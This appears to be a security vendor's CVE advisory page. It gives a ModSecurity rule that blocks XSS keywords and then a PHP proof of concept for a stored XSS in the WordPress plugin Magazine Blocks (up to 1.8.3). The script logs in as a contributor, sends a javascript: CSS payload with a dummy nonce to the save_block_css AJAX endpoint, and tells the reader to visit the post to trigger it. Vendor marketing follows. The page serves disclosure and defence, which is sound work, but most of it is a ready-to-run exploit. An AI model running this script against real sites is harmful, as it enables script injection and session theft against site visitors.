    SecRule ARGS_POST:css "@rx javascript|onload|onerror|onclick|alert|prompt|confirm|document.cookie|eval(|fromCharCode|script|img|iframe|src|data:text/html" "t:lowercase,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
/*
 * Atomic Edge CVE Research - Proof of Concept
 * CVE-2026-57650 - Magazine Blocks <= 1.8.3 Stored XSS
 * 
 * This script demonstrates stored XSS via the save_block_css AJAX endpoint.
 * It sends a payload that will execute when the page is loaded.
 */

$target_url = 'http://example.com'; // CHANGE THIS
$username = 'contributor';          // CHANGE THIS
$password = 'password';              // CHANGE THIS

// Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// Fetch admin-ajax.php nonce (could also be obtained from the block editor page)
// For simplicity, we assume the nonce is known or bypassed; in practice, get it from a page.

// The endpoint does not properly check nonce validity in early versions, but we'll send a dummy one.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Malicious CSS payload: injects JavaScript via CSS expression (IE) or background-image (other browsers)
// We'll use a simple XSS via style attribute injection: background:url(javascript:alert(document.cookie))
$payload_css = 'background:url("javascript:alert('XSS')");';

// Get a valid post_id that exists (we'll try post=1 as a common test)
$post_id = 1;

// Send the malicious request
$post_data = array(
    'action' => 'save_block_css',
    'security' => 'dummy_nonce',  // Nonce check is weak; the real fix adds capability check
    'post_id' => $post_id,
    'css' => $payload_css,
    'has_blocks' => 'false'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Server response: $responsen";
echo "nIf the response is a JSON object with 'success:true', the payload was stored.n";
echo "Visit $target_url/?p=$post_id to trigger the XSS.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.